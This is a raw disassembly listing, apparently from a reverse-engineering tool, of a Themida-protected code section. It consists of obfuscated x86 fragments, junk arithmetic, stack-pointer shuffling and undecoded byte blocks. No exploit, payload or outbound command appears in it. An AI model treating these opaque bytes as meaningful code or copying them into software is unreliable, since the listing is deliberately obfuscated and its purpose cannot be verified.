		dd 0F028DE2Ch, 0FFFF84E9h, 24348BFFh, 515B5453h, 706FBD55h
		dd 0CD812DF2h, 3A14580Fh, 4505E5C1h, 8107EDC1h,	47710EC5h
		dd 0DFC58113h, 89F7DD0Dh, 242C8BE9h, 4C481h, 0C9810000h
		dd 258359B5h, 6378C181h, 99E9646Ch, 0ACFFFFF5h,	0E568D830h
		dd 89000069h, 0C4E92414h, 31000018h, 0C33240Ch,	1C895C24h
		dd 3E966824h, 4890000h,	1C0BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5830A6:				; CODE XREF: Themida_:005828EAj
		sub	eax, edi
		jmp	loc_58932A
; ---------------------------------------------------------------------------
		db 5Bh,	0C1h, 0E1h
		dd 4EC8105h, 0E9000000h, 9F64h,	485C68h, 241C8900h, 4C5957BBh
		dd 0C14B4B63h, 0E94305EBh, 0FFFFEC0Dh, 461E0D97h, 0EC810747h
		dd 4, 8F49E9h, 4C48300h, 8E9F001h, 520000A2h, 0CF07D0BAh
		dd 8AC2815Ah, 0E9185F37h, 652h
; ---------------------------------------------------------------------------


loc_583100:				; CODE XREF: Themida_:00586F9Dj
		mov	eax, 36480902h
		inc	eax
		and	eax, 4A0B2D9Ah
		dec	eax
		jmp	loc_58AB55
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8324h, 81240C89h,	4ECh, 24248900h, 92A3E9h, 240C8B00h
		dd 0FFEA89E9h, 0E80158FFh, 3135E9h, 80CA8100h, 423C6E2Ah
		dd 16ABBD55h, 81451BF0h, 0B9F6B0EDh, 5DEA2902h,	815AD101h
		dd 686B4DC6h, 852FE968h, 0D2F60000h, 4E1B6866h,	240C8966h
		dd 0EA3096B5h, 0AE9DE9h, 0B2B65200h, 0EE80D6F6h, 5AF13061h
		dd 50B9E980h, 0C1086DB0h, 0FFF399E9h, 35EB80FFh, 0C380D328h
		dd 24148B35h, 6AD0E9h
		db 0
; ---------------------------------------------------------------------------


loc_583199:				; CODE XREF: Themida_:00584E85j
		xchg	ecx, ebx
		inc	ecx
		jmp	loc_5839BA
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0D4h
		dd 8108A34Fh, 2AF6DEC5h, 0FFED8366h, 7684ED81h,	0F58131FCh
		dd 2BB93DCEh, 1223C581h, 0EE01E897h, 0D6BA525Dh, 534DF230h
		dd 0D13B2FBBh, 4EBC152h, 5076E9h, 2BB5300h, 29000000h
		dd 951E9D8h, 28F0000h, 0FFE6DCE9h, 47E6BBFFh, 0C3814E10h
		dd 2A5CDBDCh, 7CE9D901h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5831FF:				; CODE XREF: Themida_:005819B4j
		push	esi
		mov	esi, 7B7C738Fh
		sub	[esp+0Ch], esi
		pop	esi
		pop	edx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [edi+24h]


loc_583221:				; CODE XREF: Themida_:0058C8F9j
		sub	esp, 4
		jmp	loc_58C31F
; ---------------------------------------------------------------------------
aSai		db 9,'Îéa›',0
		dw 8900h
		dd 6857240Ch, 6ED7090Ah, 0F8C7815Fh, 899128F6h,	0D5E95FF9h
		dd 5F00003Fh, 5B46E9h, 24248B00h, 0FFE670E9h, 83F181FFh
		dd 0E9B958B8h, 718Bh, 0E9CA015Dh, 7807h, 2EEAE95Dh, 0EC810000h
		dd 4, 0E9242489h, 571Ch, 35E6E952h, 0C2810000h,	4, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 248B2414h, 243C8924h, 5779E9h
		dd 2972D00h, 0D0011F7Ch, 0FFFCCAE9h, 5E7C0FFh, 0FA885266h
		dd 0D788D2F6h, 0E7C05A66h, 0F6CFFE08h, 5EB652D7h, 6BD7E9h
		dd 4C48300h, 2474FF56h,	24348B04h, 8F04C483h, 0A6E92404h
		dd 5E00004Bh, 4C681h, 0C6830000h, 24348704h, 8124248Bh
		dd 7D33CCF1h, 4EC8166h,	89000000h, 64682414h, 89000061h
		dd 468241Ch, 8B13EE7Bh,	0C483241Ch, 3BA5204h, 0E913EE7Bh
		dd 0AF3h, 4EC81h, 4890000h, 269E924h, 0E5D00000h, 50E9C580h
		dd 0AF34C6B0h, 0E0E94134h, 83000030h, 148904ECh, 81E28924h
		dd 4C2h, 4C28100h, 87000000h, 895C2414h, 2434FFFAh, 7170E9h
		dd 4C58100h, 81000000h,	2C5h, 74FF5500h, 34FF0424h, 0E3E95D24h
		dd 6600008Ah, 74FF6655h, 8B660224h, 0C481242Ch,	2, 24048F66h
		dd 87665566h, 0F7662414h, 143166D2h, 14336624h,	14316624h
		dd 2C8B6624h, 0E0895024h, 230DE9h, 12E28100h, 0C13CDB63h
		dd 0E6E908E2h
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5833C3:				; CODE XREF: Themida_:0058A2F6j
		pop	esp
		jmp	loc_58D3D8
; ---------------------------------------------------------------------------
		db 0BAh, 0FAh, 66h
aJSok		db '†|éŽK',0
		dw 5100h
		dd 0C181E189h, 4, 8704E983h, 0E95C240Ch, 19D4h
; ---------------------------------------------------------------------------


loc_5833E8:				; CODE XREF: Themida_:0058BAC3j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5833ED:				; CODE XREF: Themida_:00586818j
		mov	esi, 6677532Bh
		xor	edx, esi
		pop	esi
		mov	edi, [esp]
		jmp	loc_587B0D
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 87h
		dd 81BAF6D3h, 0D8370FC1h, 53F9012Bh, 0D8370FBBh, 8BD9292Bh
		dd 0C481241Ch, 4, 83243C8Bh, 0C8704C4h,	0B60F5C24h, 8734FFC0h
		dd 77E868h, 240C8900h, 274EBA52h, 47E95114h, 8A000032h
		dd 0C4832434h, 80CEFE04h, 5166B7F6h, 35E9FEB1h,	0FF00008Eh
		dd 669D1C77h, 241CD259h, 8AC9E99Ch, 71BE0000h, 0F762D736h
		dd 81DEF7DEh, 8869DCE6h, 3EEC116h, 0FBFAC681h, 0F701FFAFh
		dd 8B2434FFh, 0C4832434h, 4C48104h, 0E9000000h,	0A546h
		dd 4240481h, 8B000000h,	0C483242Ch, 0DABA5204h,	0F71F9027h
		dd 8EC281D2h, 0E97B7D02h, 8722h
; ---------------------------------------------------------------------------


loc_5834B0:				; CODE XREF: Themida_:00583B32j
		push	esi
		sub	esp, 4
		mov	[esp], eax
		push	316E5DECh
		pop	eax
		add	eax, 0CE91A216h
		mov	esi, eax
		jmp	loc_583DC8
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8F000000h, 665C2404h, 0E924048Bh, 3750h, 43BB68h, 243C8900h
		dd 0E952E789h, 0FFFFF045h, 9C2424D2h, 0FFE3D4E9h, 1F1D68FFh
		dd 0F75B71B3h, 0AEC381DBh, 0E99A8845h, 3090h, 5B2434FFh
		dd 81E28952h, 4C2h, 4BD5500h, 1000000h,	0EAC1E9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_583522:				; CODE XREF: Themida_:0058C01Dj
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		jmp	loc_58DE8C
; ---------------------------------------------------------------------------


loc_583530:				; CODE XREF: Themida_:00587DFEj
		add	esp, 4


loc_583536:				; CODE XREF: Themida_:00581AAAj
					; Themida_:00581C8Dj
		push	dword ptr [edi+24h]
		sub	dword ptr [esp], 49A05D3Eh
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	edi
		jmp	loc_58E004
; ---------------------------------------------------------------------------
		db 5, 49h, 6Fh
		dd 5E5B1157h, 96ADE955h, 89660000h, 47E9241Ch
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_583563:				; CODE XREF: Themida_:00581CAAj
		pop	eax
		push	edx
		mov	edx, 0B6C31h
		jmp	loc_589EDE
; ---------------------------------------------------------------------------
		db 29h
		dd 24348BF2h, 4C481h, 14870000h, 24248B24h, 0FFF230E9h
		dd 0D0F797FFh, 7BB95197h, 4975F839h, 2366C181h,	1AE94B24h
		dd 0B8000069h, 7013278h, 642BE9h, 0FFE98300h, 26BE68h
		dd 242C8900h, 680FC4BDh, 0E9E9312Dh, 8D40h, 8107EAC1h
		dd 4904E7E2h, 8AEA8120h, 0E9FE68EEh, 7D34h, 5704C483h
		dd 0A3495D68h, 0E7C15F35h, 0DFC78103h, 0E96FE64Eh, 0FFFFEFE8h
		dd 533C77FFh, 48E9E389h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5835F3:				; CODE XREF: Themida_:00585028j
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		jmp	loc_582666
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFE2C5h, 0E924048Fh, 94B0h
; ---------------------------------------------------------------------------


loc_58360C:				; CODE XREF: Themida_:0058C029j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_58D7EC
; ---------------------------------------------------------------------------
		dd 66F03166h, 0BC68665Eh, 1C89663Eh, 0A2BB6624h, 55DAE91Ah
		dd 0F7010000h, 59C6E95Eh, 0F1810000h, 700E4F7Eh, 5059CA31h
		dd 0FFF779E9h, 2434FFFFh, 5437E95Eh, 5A660000h,	8CE9F028h
		dd 87000023h, 248B2434h, 0C896624h, 0E25BE924h,	4481FFFFh
		dd 729C0424h, 44014487h, 70E90424h, 6600008Ch, 5624048Bh
		dd 0C681E689h, 4, 6CDAE955h, 0C4810000h, 4, 0BFE9C300h
		dd 8900004Ch, 0F4BA2414h, 8119376Bh, 1D20C2F2h,	0BE565303h
		dd 0F44324Ch, 0EEC1D6F7h, 4CE8105h, 5706E949h, 0F381AFBFh
		dd 0E9FE014Bh, 6C8Dh, 28E95266h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5836D3:				; CODE XREF: Themida_:00589F72j
		or	ebx, edi
		pop	edi
		not	ebx
		neg	ebx
		add	ebx, 0C4929A1Eh
		sub	eax, 50AB2F9Ch
		add	eax, 18494DAEh
		add	eax, ebx
		sub	eax, 18494DAEh
		jmp	loc_581C40
; ---------------------------------------------------------------------------
		dw 0E829h
		dd 79EA815Dh, 0E9713B4Ah, 4EFCh, 4BFh, 613AE900h, 0E95D0000h
		dd 2AA5h, 8124148Bh, 4C4h, 0F00400h, 4F02CD8h, 8D2CE9C1h
		dd 3C8B0000h, 4C48324h,	26CFC281h, 8405CA0Ch, 0E97A4768h
		dd 0F2Ah, 5D0B85BDh, 99C58102h,	0D138BF4Ch, 52B7E9E5h
		dd 0DAF70000h, 0EA81DAF7h, 3CBD258Bh, 4C70C381h, 32E91AE5h
		dd 8300003Ah, 0FF5104C1h, 59042474h, 0E924048Fh, 0FFFFF418h
		dd 3B80C581h, 0C58121E6h, 106F5797h, 0FFFFED81h, 0CD81FFFFh
		dd 3BF6703Eh, 6804E5C1h, 6FA8h,	0B8240489h, 358C235Bh
		dd 7A28E9h, 48B6600h, 5A545224h, 292268h, 241C8900h, 391E950h
		dd 5DB20000h, 0E8B05066h, 9EB0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5837C5:				; CODE XREF: Themida_:00587157j
		add	ecx, edi
		jmp	loc_5859C4
; ---------------------------------------------------------------------------
		dd 2B88ED81h, 42E911A0h, 29000095h, 0B8685BDEh,	0E900004Eh
		dd 2CE5h, 405E089h, 83000000h, 48704C0h, 9DE95C24h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5837F7:				; CODE XREF: Themida_:00586ED8j
		sub	eax, ebp
		jmp	loc_582E2D
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 57000000h,	0F1EE9h, 1D21BB00h, 0B9516764h
		dd 29EB538Dh, 0C159CB31h, 0C38107EBh, 23C7486Dh, 2EFBEB81h
		dd 0D831B516h, 0A0A62D5Bh, 0C101C1D6h, 5C1CE9h,	4E9C000h
		dd 0A175E9h
		db 0
; ---------------------------------------------------------------------------


loc_583841:				; CODE XREF: Themida_:00584024j
		sub	edx, 65C4721Fh
		push	ebx
		jmp	loc_588F21
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 6824048Bh, 4752h, 1E07E9h, 4C28100h,	83000000h, 148704C2h
		dd 0A8E95C24h, 29FFFFE4h, 1A685EF5h, 0E9000044h, 1716h
		dd 983802BEh, 0DA46BD1Bh, 0F501EE71h, 3FBB535Eh, 8125597Ch
		dd 0AE6DB8F3h, 0E9DBF72Ch, 4B5Ah, 322B6857h, 315F40B9h
		dd 2434FFF8h, 279BE9h, 24248B00h, 97AE9h, 4C38100h, 83000000h
		dd 1C3302C3h, 241C3124h, 5C241C33h, 7C7FE9h, 4EC8100h
		dd 89000000h, 4832424h,	148B0424h, 6AF6E924h, 51AC0000h
		dd 0F180FAB1h, 59C8005Bh, 0FBE9582Ch, 0B900004Eh, 31BE6307h
		dd 0C159CD89h, 0E1E907EDh
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_583903:				; CODE XREF: Themida_:0058B961j
		pop	ebx
		pop	ecx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58BAC2
; ---------------------------------------------------------------------------
		dd 4EB81h, 1C330000h, 241C3124h, 0E9241C33h, 9085h
; ---------------------------------------------------------------------------


loc_583934:				; CODE XREF: Themida_:0058CBD4j
		add	eax, 4
		add	eax, 4
		jmp	loc_5896E0
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFDF81h, 0BC2815Eh, 813A954Bh, 65F4F3C2h,	6FC78103h
		dd 0E9199B2Fh, 31ECh, 553877FFh, 0AC513DBDh, 0BA524561h
		dd 0AEB4D478h, 47C4ED81h, 0D5012202h, 47C4C581h, 0B6E92202h
		dd 45000003h, 0FD81C581h, 0E929FAFFh, 240C335Dh, 33240C31h
		dd 248B240Ch, 0C896624h, 6CD8E924h, 12B90000h, 217A0665h
		dd 28E959CEh, 83000021h, 895104C4h, 9B0CE9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5839BA:				; CODE XREF: Themida_:0058319Cj
		xchg	ecx, ebx
		sub	ebx, 6C015029h
		add	edx, ebx
		pop	ebx
		jmp	loc_583D2C
; ---------------------------------------------------------------------------
		dw 8952h
		dd 4B850E2h, 81000000h,	0CE4798EAh, 81C2017Bh, 0CE4798C2h
		dd 39A6E97Bh, 4810000h,	424h, 0BF575D00h, 662F1648h, 0E7C1D7F7h
		dd 9CE4E906h, 3C890000h, 81E78924h, 4C7h, 4685200h, 5A000000h
		dd 0FFF445E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_583A15:				; CODE XREF: Themida_:005841F9j
		mov	ebx, esp
		jmp	loc_588728
; ---------------------------------------------------------------------------
		dd 5E545658h, 4C681h, 0EC830000h, 243C8904h, 0FFFCD3E9h
		dd 0AE95AFFh, 0B600008Ch, 68EE80C4h, 805AF528h,	2DE97EF5h
		dd 5EFFFFECh, 2C8BEE29h, 4C48324h, 62CD6850h, 815853AAh
		dd 4ECh, 24148900h, 785F68h, 24348900h,	24348150h, 37D47135h
		dd 8124348Bh, 4C4h, 35F68100h, 5337D471h, 0DA89F389h, 0D3895E5Bh
		dd 8324148Bh, 48B04C4h,	4C48324h, 62CDEB81h, 0EC8353AAh
		dd 24048904h, 964AE9h, 5CBBBB00h, 0EB810FEFh, 63383A33h
		dd 88FCB81h, 87E96E60h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_583ABB:				; CODE XREF: Themida_:00582E30j
		push	ebx
		jmp	loc_58BB24
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 60D1E9h, 81E38900h, 4C3h, 4EC8100h, 89000000h, 4B9240Ch
		dd 1000000h, 240C8BCBh,	3304C483h, 1C31241Ch, 241C3324h
		dd 6824248Bh, 6534h, 0FFF41CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_583AFD:				; CODE XREF: Themida_:00585EFCj
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_5829EB
; ---------------------------------------------------------------------------
		dd 4C4835Ah, 10D168h, 24348900h, 0F02D0568h, 0F4685E38h
		dd 89000022h, 9C682414h, 0E97CD25Bh, 1556h
; ---------------------------------------------------------------------------


loc_583B2C:				; CODE XREF: Themida_:0058DE96j
		add	ebp, 4
		jmp	loc_5834B0
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8B240487h, 0B1E92424h, 31000078h, 28E9242Ch,	0B8000043h
		dd 619E46E9h, 5007B835h, 6BB60D4Bh, 0E2E96A27h,	0B0000072h
		dd 0F8B4506Ch, 0E3300BB3h, 58C33058h, 60E94AB5h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_583B73:				; CODE XREF: Themida_:00585030j
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		jmp	loc_58B73E
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 662330ADh, 7B46E981h, 0F18157A4h, 1497338Bh,	3F7EE9h
		dd 5E08900h, 4,	405h, 24048700h, 0D1215B5Ch, 8124148Bh
		dd 4C4h, 0E9C100h, 8FC5E9h, 24348B00h, 81E68956h, 4C6h
		dd 4C68300h, 5C243487h,	0F96E955h, 0EA810000h, 667725F2h
		dd 9B8AE9h, 32AE2500h, 0A6057E9Ch, 0E942DB19h, 0E72h
; ---------------------------------------------------------------------------


loc_583BF8:				; CODE XREF: Themida_:00588F3Dj
		sub	edx, ebx
		pop	ebx
		jmp	loc_58723C
; ---------------------------------------------------------------------------
		dd 0FF59E950h, 7668FFFFh, 89000056h, 1682414h, 5A000000h
		dd 0E91C5709h, 1AFEh, 0E8E9E801h, 5100005Ch, 0EE4C3168h
		dd 4E95922h, 81000052h,	5F5BF6C5h, 5DEE0117h, 35C5E9h
		db 0
; ---------------------------------------------------------------------------


loc_583C3D:				; CODE XREF: Themida_:0058C84Dj
		movzx	cx, ah
		push	edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5893B0
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 2Ch
		dd 71F7E924h, 0EF830000h, 9373E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_583C5E:				; CODE XREF: Themida_:0058C2BFj
		push	57C8h
		mov	[esp], eax
		jmp	loc_58C7FF
; ---------------------------------------------------------------------------
aIuyh		db 'ˆîYh',0
		dd 0E9000000h, 465Bh, 0E580C5FEh, 72A2E99Dh, 77FF0000h
		dd 58669D1Ch, 24041966h, 0DC37E99Ch, 0D6F7FFFFh, 282E681h
		dd 0EE812FC2h, 25BFFFFEh, 348BF701h, 29E95224h,	8900004Ah
		dd 4B850E1h, 0E9000000h, 425h, 4C581h, 0FF550000h, 0E9042474h
		dd 7CD2h
; ---------------------------------------------------------------------------


loc_583CC8:				; CODE XREF: Themida_:0058281Cj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_581FCB
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C4h, 53BD5500h, 0C11F5051h,	0C58106EDh, 3F622E0Ah
		dd 7EB4CD81h, 0BB531ECAh, 3A102B11h, 0FE56EB81h, 0DD31C4FBh
		dd 3926E9h, 24048B00h, 4C483h, 525351C3h, 0D78877B2h, 5BFD885Ah
		dd 52F6C580h, 8014B353h, 0DA88B2EBh, 0E9241C8Bh, 7C1Dh
; ---------------------------------------------------------------------------


loc_583D2C:				; CODE XREF: Themida_:005839C5j
		push	eax
		mov	eax, 3D0B5ECBh
		xor	edx, eax
		jmp	loc_58BB39
; ---------------------------------------------------------------------------
		db 5Ah,	29h, 6Ch
		dd 2C8B0424h, 4C48124h,	8B000000h, 0C483240Ch, 0B8505504h
		dd 6973735Ch, 48BC589h,	0E6895624h, 4C681h, 0BF570000h
		dd 4, 0E95FFE01h, 825Dh
; ---------------------------------------------------------------------------


loc_583D70:				; CODE XREF: Themida_:00587242j
		sub	edx, ebp
		sub	edx, 2FBE53FCh
		jmp	loc_58C588
; ---------------------------------------------------------------------------
		db 89h,	0D5h, 8Bh
		dd 0C4812414h, 4, 0C15DE921h, 0F1680AE9h, 8900004Ch, 0DF89243Ch
		dd 6CDEE9h, 14335F00h, 24143124h, 8B241433h, 0F7662424h
		dd 996866E9h, 14896623h, 9C506624h, 0FFDB0CE9h,	160105FFh
		dd 0E95A1AC5h, 0FFFFDFE8h
; ---------------------------------------------------------------------------


loc_583DC8:				; CODE XREF: Themida_:005834C4j
		push	dword ptr [esp]
		jmp	loc_589656
; ---------------------------------------------------------------------------
		dd 240C8B66h, 8904EC83h, 0E589242Ch, 4C581h, 0BE560000h
		dd 73D709Bh, 1A58E952h,	0FA290000h, 0E9243C8Bh,	5F94h
		dd 0CF80F3B7h, 62E95224h, 5AFFFFDDh, 2EC81h, 89660000h
		dd 4AB7241Ch, 65E9642Ch, 81000012h, 284BCBC3h, 81D32901h
		dd 284BCBEBh, 8FC1E901h, 0E8C10000h, 0FDB7E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_583E32:				; CODE XREF: Themida_:00587DDEj
		add	ebp, 4
		jmp	loc_586FA2
; ---------------------------------------------------------------------------
		db 5Ah,	0F6h, 0D3h
aQseo		db 'Qé…Ž',0
		align 2
		dw 0BF57h
		dd 4, 0CAE9FD01h, 0BD000063h, 1F024150h, 5332BD55h, 3E93B49h
		dd 0F7000099h, 0BB534DD5h, 606C3FC7h, 0D00DEB81h, 0C5819589h
		dd 6AEF4D39h, 0ED81DD01h, 6AEF4D39h, 0E321E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_583E86:				; CODE XREF: Themida_:0058C6DEj
		push	ebp
		mov	ebp, 79325844h
		push	edx
		mov	edx, 44D01C1Ah
		not	edx
		not	edx
		jmp	loc_58A54F
; ---------------------------------------------------------------------------
		db 81h
		dd 330DC9E7h, 0FCEF8166h, 10612FFh, 0E9505FFDh,	9EF3h
		dd 0EADEE81h, 0F6810D1Bh, 6F034CF6h, 7A48EF81h,	0F7011B1Eh
		dd 7A48C781h, 555E1B1Eh, 3B1302BDh, 0F7DDF776h,	8CCD81DDh
		dd 0C104423Fh, 0ED8106EDh, 72E86AA9h, 8253ED81h, 0C7818EF1h
		dd 644616D3h, 810BE9h, 3EEC100h, 0C106EEC1h, 0B85008EEh
		dd 6BF201F1h, 4004E0C1h, 50CE9h, 0BA525000h, 625F00B4h
		dd 7BE1E9h, 241C8B00h, 4C481h, 0F3810000h, 93E59831h, 15BD829h
		dd 0F9568D8h, 3C890000h, 8CE9E924h, 0C3830000h,	241C3304h
		dd 0E9241C31h, 779h, 68240C8Bh,	626Ch, 8773E9h,	24043300h
		dd 0C124248Bh, 56E906E9h, 33FFFFEEh, 248B2414h,	4C48324h
		dd 9C240429h, 0FFD954E9h, 535D54FFh, 4874BF57h,	0D4E91377h
		dd 83000045h, 0E6E904C4h, 81000077h, 4ECh, 24348900h, 0E953E689h
		dd 5325h, 3EEC15Eh, 0F703E6C1h,	8DEE81D6h, 31FF9262h, 0FA95E9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_583FB2:				; CODE XREF: Themida_:0058C1DCj
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		mov	ecx, 0FA5E28h
		add	ecx, 1
		shr	ecx, 5
		sub	ecx, 0D845CDD6h
		xor	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	dword ptr [edi+eax*4]
		add	dword ptr [esp], 13454081h
		jmp	loc_58227A
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0FAh
		dd offset dword_506E5C+0C8Dh
		dd 0F2815B00h, 7176452Dh, 0D1E9h
		db 0
; ---------------------------------------------------------------------------


loc_583FF9:				; CODE XREF: Themida_:00585518j
		xor	ebp, [esp]
		pop	esp
		push	ebx
		push	esi
		mov	esi, 56294CE2h
		push	ebp
		jmp	loc_58D165
; ---------------------------------------------------------------------------
		dw 0E3D0h
		dd 0E990F380h, 941Eh
; ---------------------------------------------------------------------------


loc_584014:				; CODE XREF: Themida_:0058D279j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, 49714625h
		jmp	loc_583841
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 59h
		dd 8159562Fh, 16A14FEDh, 0FFEB81D3h, 81097337h,	8820CDEBh
		dd 81EB016Eh, 8820CDC3h, 80BE566Eh, 0F761094Ch,	4B4BE9DEh
		dd 3BB60000h, 0FFEFB1E9h, 48F5EFFh, 6C685C24h, 0E900003Dh
		dd 1A81h, 24048F5Eh, 6624248Bh,	0E9241489h, 64F5h, 519FC780h
		dd 0EA88FD88h, 241C8B59h, 81E28952h, 4C2h, 4C28100h, 87000000h
		dd 0C05C2414h, 895103EAh, 36BF57E1h, 814B422Eh,	946D42E7h
		dd 36D8E943h, 14870000h, 24248B24h, 9C2424D3h, 0FFD808E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5840C1:				; CODE XREF: Themida_:00585343j
		pop	ebp
		add	ebx, esi
		pop	esi
		jmp	loc_582A72
; ---------------------------------------------------------------------------
		dw 0E2C1h
		dd 14F75207h, 0EC835A24h, 243C8904h, 4EA5E9h, 58C10100h
		dd 3F62BA52h, 0E2C15C28h, 19F28106h, 0E92D4934h, 7Ch, 59EF3058h
		dd 0F603EFC0h, 0A6B450D7h, 0F606E4C0h, 6C3FE9DCh, 875F0000h
		dd 55E92404h, 5300004Eh, 0BF57E389h, 4,	815FFB01h, 2C3h
		dd 241C8700h, 0C0B70F5Ch, 409268h, 24048900h, 597368h
		dd 24248900h, 4240481h,	0E9000000h, 5AE9h, 78F0E957h, 74FF0000h
		dd 8F5E0424h, 0E95C2404h, 5F1Dh
; ---------------------------------------------------------------------------


loc_58415C:				; CODE XREF: Themida_:00587A68j
		pop	edi
		dec	edi
		xchg	edx, edi
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		xchg	edx, edi
		sub	esp, 4
		jmp	loc_585C94
; ---------------------------------------------------------------------------
		dd 555DE281h, 0E2C15290h, 50685706h, 5F557E7Fh,	4D56E947h
		dd 0C3810000h, 4, 100968h, 240C8900h, 13DE9h
		db 0
; ---------------------------------------------------------------------------


loc_584199:				; CODE XREF: Themida_:0058C80Cj
		add	edx, eax
		mov	[edx], bh
		jmp	loc_584A36
; ---------------------------------------------------------------------------
		dw 3433h
		dd 24343124h, 5C243433h, 3304EE83h, 34312434h, 24343324h
		dd 8924248Bh, 6E9240Ch
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_582399
; ---------------------------------------------------------------------------
aS4s		db '^é4s',0
		db 0
; ---------------------------------------------------------------------------


loc_5841E3:				; CODE XREF: Themida_:00581ABEj
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_583A15
; ---------------------------------------------------------------------------
		dw 5057h
		dd 2B8h, 0D907E900h, 0D588FFFFh, 8BEC885Ah, 5FE9240Ch
		dd 0D2000028h, 0E99C2404h, 9B14h, 9D1C77FFh, 14D35966h
		dd 9AE99C24h, 21FFFFD6h, 0E8C15BD8h, 52C83108h,	7B4BE954h
		dd 0ED810000h, 0C8A365Fh, 0C581F501h, 0C8A365Fh, 74FF555Eh
		dd 8F5D0424h, 815C2404h, 4C4h, 2434FF00h, 57016859h, 4890000h
		dd 81585424h, 4ECh, 240C8900h, 4BA52h, 0D1890000h, 0FFC8015Ah
		dd 83592434h, 0B95104C4h, 4, 0E959C801h, 70FFh,	33241431h
		dd 248B2414h, 240C8924h, 9833E9h, 24348900h, 0F240DE68h
		dd 0FF2BE969h, 0FBB9FFFFh, 1A3AFA2h, 11E95FF9h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5842BF:				; CODE XREF: Themida_:005879B2j
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_586CAD
; ---------------------------------------------------------------------------
		dw 6855h
		dd 2, 5D59555Dh, 34FFCB29h, 80AFE924h, 0EA810000h, 664840D1h
		dd 3667C281h, 348B1EB8h, 4C48124h, 57000000h, 2BFh, 8BFA0100h
		dd 40E9243Ch, 8900006Eh, 0BA522404h, 16E8755Ah,	0BA5AD089h
		dd 0FFB6BC35h, 7C31C281h, 0BCE9638Bh, 81000085h, 7C5C8CCFh
		dd 0AABB5303h, 3127FC5Dh, 241C8BDFh, 4C481h, 0F9890000h
		dd 9156E9h
		db 0
; ---------------------------------------------------------------------------


loc_584349:				; CODE XREF: Themida_:0058BB3Aj
		or	[edi+20h], edx
		pop	edx
		sub	dword ptr [edi+20h], 65A4158Ah
		push	ecx
		mov	ecx, 4210F84h
		add	ecx, 0FBDEF09Ch
		jmp	loc_58CC0E
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 7E7F6850h, 24890000h, 24048124h, 4, 12A9E958h, 0EC810000h
		dd 4, 88240C89h, 59CE88D9h, 28B7E9h, 24348B00h,	6C7CE9h
		dd 5C4C0500h, 13E91231h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5843A3:				; CODE XREF: Themida_:00584AEBj
		pop	ebx
		jmp	loc_58D02D
